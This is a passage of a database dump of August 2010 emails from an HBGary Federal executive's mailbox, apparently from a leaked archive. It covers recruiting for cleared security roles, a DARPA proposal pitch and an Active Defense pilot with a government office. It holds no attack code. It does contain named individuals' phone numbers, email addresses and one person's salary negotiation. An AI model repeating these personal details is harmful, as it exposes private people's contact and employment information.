 \r\n  LinkedIn\r\n\r\n            Derrick Repep has indicated you are a Colleague at HBGary, Inc.:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Derrick Repep\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Derrick Repep\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH DERRICK REPEP BE A GOOD IDEA?\r\n  Have a question? Derrick Repep\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Derrick Repep and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',4369,'aaron_hbgary_com/4369.html'),(10502,'2010-08-18','\"Mila Parkour\" <milaparkour@gmail.com>','/aaron@hbgary.com/new/1297008154.M827234P14101Q5357.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nMila Parkour has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/17/2010\r\n\r\n\r\n  Subject:\r\n  RE: Introduction\r\n\r\n\r\n\r\n  Thanks for connecting, and your invitation to apply. \r\n\r\nI am familiar with HBGary of course. I really wish I could apply, it sounds very interesting but I am currently not in a position to do so. \r\n\r\n\r\n\r\nHowever, I know one extremely bright researcher in DC area looking for an entry-level security position (Ben Koehl) and perhaps he needs to check out  your site for openings that suit him. If you happen to know about any such opportunities, please let me know.\r\n\r\n\r\n\r\nThank you, \r\n\r\nBest Regards,\r\n\r\nMila\r\n\r\n\r\n\r\nOn 08/17/10 5:13 PM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nThanks for accepting.  I am not sure if you know much about HBGary or HBGary Federal.  Leading HBGary Federal I am focused on improving cybersecurity leveraging key people, partnerships, technologies, and processes.  I am looking to fill some key positions and would like to discuss them with you if your interested, if not at this time, no problem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\n\r\n\r\nThank You,\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',3731,'aaron_hbgary_com/3731.html'),(10503,'2010-08-18','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008155.M295233P14101Q5359.eml','aaron@hbgary.com','RE: Formative DARPA research project; Next steps after conversation with Aaron','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n“Win the contract as early as September”…… Is he serious?  Is it a\r\nlittle seedling project?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: BSmern@aol.com\r\n[mailto:BSmern@aol.com] \r\nSent: Tuesday, August 17, 2010 4:20 PM\r\nTo: aaron@hbgary.com\r\nCc: bsmernoff@alum.mit.edu; bsmern@aol.com; bob@hbgary.com\r\nSubject: Re: Formative DARPA research project; Next steps after\r\nconversation with Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n17 August 2010 -- 4pm (EDT)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for our lengthy conversation -- we covered plenty of\r\nground.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is the current version of our project\'s executive summary\r\nwith the core of our technology component focused on hospital\r\ncybersecurity.&nbsp; Since the VA and TRICARE military health systems cover 16\r\nmillion beneficiaries, DARPA is likely to see significant added value if we\r\npropose a novel technology research component that helps VA etc. move\r\ntowards much more effective information security in their clinical and admin\r\ncomputer networks, including the well-known VISTA electronic medical\r\nrecord.&nbsp; I have some strong partners @ Georgia Tech and am\r\ndeveloping&nbsp;additional partners at Emory Healthcare and Atlanta\'s VA\r\nmedical center.&nbsp; Perhaps the key partner at Georgia Tech is Wenke Lee, PI\r\nfor a new $6 million MURI on botnet attribution and removal -- he grew up in\r\nChina and is a first-rate\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo please forward this summary to Greg and&nbsp;his world-class\r\ndevelopment team.&nbsp; My thinking is that leveraging your company\'s\r\nrelatively new fingerprint tool -- with&nbsp;additional attention to the\r\ncountry-level attribution problem -- could be shaped into a compelling\r\n&quot;cutting-edge research&quot; narrative within this DARPA proposal and help\r\nus win the contract as early as September.&nbsp; (They want to&nbsp;generate\r\nfunding commitments for much-larger clean-slate&nbsp;cybersecurity projects by\r\nend of the federal fiscal year, Sept 30th.)&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned, I\'ve had 4 meetings with DARPA/TCTO personnel\r\nincluding its director, Peter Lee, so I understand what they like about this\r\nproposed project.&nbsp; Knowing your experience with the Cyber Genome proposal\r\nyou submitted earlier this year, it\'s great that HB Gary understands how to\r\ndevelop a solid DARPA proposal.&nbsp; I\'ve been working on-and-off with DARPA\r\nfor ~30 years -- initially on high-energy laser technology, then on\r\ncounter-terrorism (with Jim Tegnelia, former deputy director of DARPA).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease stay in touch and we\'ll explore this collaborative\r\nopportunity in more detail.&nbsp;&nbsp;All the best --&nbsp;Barry\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBarry J. Smernoff, PhD\r\nAlphaOmega Collaboration LLC\r\n23533 Wimbledon Road\r\nShaker Heights, OH 44122\r\n(216) 410-5477 BlackBerry mobile\r\nbsmernoff@alum.mit.edu \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn a message dated 8/16/2010 11:14:27 P.M. Eastern Daylight Time,\r\nbob@hbgary.com writes:\r\n\r\n\r\n\r\n\r\n\r\nAaron’s\r\ncontact info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3075 - Release Date: 08/17/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13373,'aaron_hbgary_com/13373.html'),(10504,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008155.M51326P14101Q5358.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Aaron...checking in on your recruiting efforts','ok so a day+ working on recruiting and I have 2 possibles. &nbsp;Hopefully I can solidify those tomorrow.More feelers out. &nbsp;I will continue to work on it until I can fill them if no on else can.Did the Lead Forensics guy bail?AaronOn Aug 17, 2010, at 2:13 PM, John Fanguy wrote:And luck today???&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;',6898,'aaron_hbgary_com/6898.html'),(10505,'2010-08-18','arc@westfields.net','/aaron@hbgary.com/new/1297008155.M540807P14101Q5360.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Tuesday, 08/17/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nNRO-BOLT (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO-CAPRICA (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13690,'aaron_hbgary_com/13690.html'),(10506,'2010-08-18','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008156.M283771P14101Q5361.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aaron...checking in on your recruiting efforts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere&#8217;s Rich&#8217;s resume.&nbsp; Go for it.&nbsp; I offered him $110k, but he\r\nthinks he is worth $120k apparently in the market.&nbsp; I very sure he would be\r\nhappier with your more dynamic work J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 17, 2010 11:24 PM\r\nTo: John Fanguy\r\nSubject: Re: Aaron...checking in on your recruiting efforts\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok so a day+ working on recruiting and I have 2 possibles.\r\n&nbsp;Hopefully I can solidify those tomorrow.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMore feelers out. &nbsp;I will continue to work on it until\r\nI can fill them if no on else can.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDid the Lead Forensics guy bail?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 17, 2010, at 2:13 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnd\r\nluck today???\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1786,'aaron_hbgary_com/1786.html'),(10507,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008156.M493987P14101Q5362.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Aaron...checking in on your recruiting efforts','Thanks.  When u get TASC and NG input for matrix can I take a look to make sure they caught everything.  Sometimes they don&#39;t play well internally. :)Aaron\r\nSent from my iPhoneOn Aug 18, 2010, at 8:32 AM, John Fanguy &lt;jfanguy@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHere’s Rich’s resume.  Go for it.  I offered him $110k, but he\r\nthinks he is worth $120k apparently in the market.  I very sure he would be\r\nhappier with your more dynamic work J\r\n\r\n \r\n\r\n\r\n\r\n-John\r\n\r\n \r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, August 17, 2010 11:24 PM\r\nTo: John Fanguy\r\nSubject: Re: Aaron...checking in on your recruiting efforts\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nok so a day+ working on recruiting and I have 2 possibles.\r\n Hopefully I can solidify those tomorrow.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMore feelers out.  I will continue to work on it until\r\nI can fill them if no on else can.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDid the Lead Forensics guy bail?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 17, 2010, at 2:13 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAnd\r\nluck today???\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Rich_Peacock_Professional_CV_7.09.10.pdf&gt;\r\n',3604,'aaron_hbgary_com/3604.html'),(10508,'2010-08-18','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','/aaron@hbgary.com/new/1297008156.M715065P14101Q5363.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Active Defense Pilot Question','\r\n\r\nRe: Active Defense Pilot Question\r\n\r\n\r\nLet&#8217;s talk today if you have a minute. &nbsp;Also, I heard your interviewed Rich Peacock.. An excellent addition if you can bring him over.\r\n\r\n\r\nOn 8/17/10 6:45 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nOh and soc mgt.\r\n\r\nTks\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 17, 2010, at 3:24 PM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nMaria,\r\n\r\nOk.  I&#8217;ll work with Charles.  Besides, if we had you ship a box it would take at least a month to get here due to our shipment processes.  \r\n\r\n\r\nOn 8/17/10 3:21 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com &lt;mailto:maria@hbgary.com&gt; &gt; wrote:\r\n\r\nHi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won\'t work.\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt; &gt; wrote:\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &nbsp;&lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; wrote:\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &nbsp;&lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &quot; &lt;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt; &nbsp;&lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &gt;\r\nTo: &quot;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &nbsp;&lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt; &nbsp;&lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt;\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt; &nbsp;&lt;http://docs.google.com/ &lt;http://docs.google.com/&gt; &gt; \r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12085,'aaron_hbgary_com/12085.html'),(10509,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008156.M984164P14101Q5364.eml','rpeacock1128@gmail.com','Opportunities','Hi Rich,\r\n\r\nI received your resume from John Fanguy at DMI and I would like to\r\ntalk to you about your background and our opportunities, both this one\r\nand others.\r\n\r\nLet me know when is a good time to talk. You can also call mr directly.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal\r\n7195108478\r\n\r\nSent from my iPhone\r\n',1228,'aaron_hbgary_com/1228.html'),(10510,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008157.M206201P14101Q5365.eml','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','Re: Active Defense Pilot Question','Sure when&#39;s a good time to call.  I am proposal writing all day.AaronSent from my iPhoneOn Aug 18, 2010, at 9:00 AM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nLet’s talk today if you have a minute.  Also, I heard your interviewed Rich Peacock.. An excellent addition if you can bring him over.\r\n\r\n\r\nOn 8/17/10 6:45 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nOh and soc mgt.\r\n\r\nTks\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 17, 2010, at 3:24 PM, &quot;Christos, Brian N.&quot; &lt;Brian_N._Christos@oa.eop.gov&gt; wrote:\r\n\r\nMaria,\r\n\r\nOk.  I’ll work with Charles.  Besides, if we had you ship a box it would take at least a month to get here due to our shipment processes.  \r\n\r\n\r\nOn 8/17/10 3:21 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com &lt;mailto:maria@hbgary.com&gt; &gt; wrote:\r\n\r\n\r\nHi Brian\r\n \r\nRich is onsite at a secure DOE lab without Internet Connectivity.... In the meantime, I will forward your email to Charles in support and he can guide you through the Server Setup because it will take time and you want the environment setup correctly or it won&#39;t work.\r\n\r\n \r\nThe alternative is for us to ship out a Server and move the POC to another day...\r\nWhat number should Charles call you on?  Charles is at extension 103.\r\n \r\nMaria\r\nOn Tue, Aug 17, 2010 at 12:16 PM, Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov &lt;mailto:Christos@oa.eop.gov&gt; &gt; wrote:\r\n\r\n\r\nRich, \r\n\r\nIn prep for the pilot kick off on Thursday, I am setting aside a server and re-loading it with a new OS.  I heard from TSA that there maybe a 64bit type bug in Active Defense (or some component of AD).  If so, should I just load the box with 2008 32bit?\r\n\r\n\r\nThanks,\r\n\r\nBrian \r\n\r\nOn 8/4/10 10:46 AM, &quot;Aaron barr&quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt; wrote:\r\n\r\n\r\nHere u go.\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &quot; &lt;ted@hbgary.com &lt;mailto:ted@hbgary.com&gt;  &lt;http://ted@hbgary.com &lt;http://ted@hbgary.com&gt; &gt; &gt;\r\n\r\nTo: &quot;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &quot; &lt;aaron@hbgary.com &lt;mailto:aaron@hbgary.com&gt;  &lt;http://aaron@hbgary.com &lt;http://aaron@hbgary.com&gt; &gt; &gt;\r\n\r\nSubject: Active Defense 1.0 User Guide.pdf\r\n\r\nAttached: Active Defense 1.0 User Guide.pdf\r\nSent using Google Docs http://docs.google.com/ &lt;http://docs.google.com/&gt;  &lt;http://docs.google.com/ &lt;http://docs.google.com/&gt; &gt; \r\n\r\n\r\nUser manual\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12226,'aaron_hbgary_com/12226.html'),(10511,'2010-08-18','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008157.M436831P14101Q5366.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fax number please','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanx\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9369,'aaron_hbgary_com/9369.html'),(10512,'2010-08-18','\"Christos, Brian N.\" <Brian_N._Christos@oa.eop.gov>','/aaron@hbgary.com/new/1297008157.M674926P14101Q5367.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Active Defense Pilot Question','\r\n\r\nRe: Active Defense Pilot Question\r\n\r\n\r\nCan I call you from my cell this morning? &nbsp;What&#8217;s your number?\r\n\r\n\r\nOn 8/18/10 9:02 AM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSure when\'s a good time to call.  I am proposal writing all 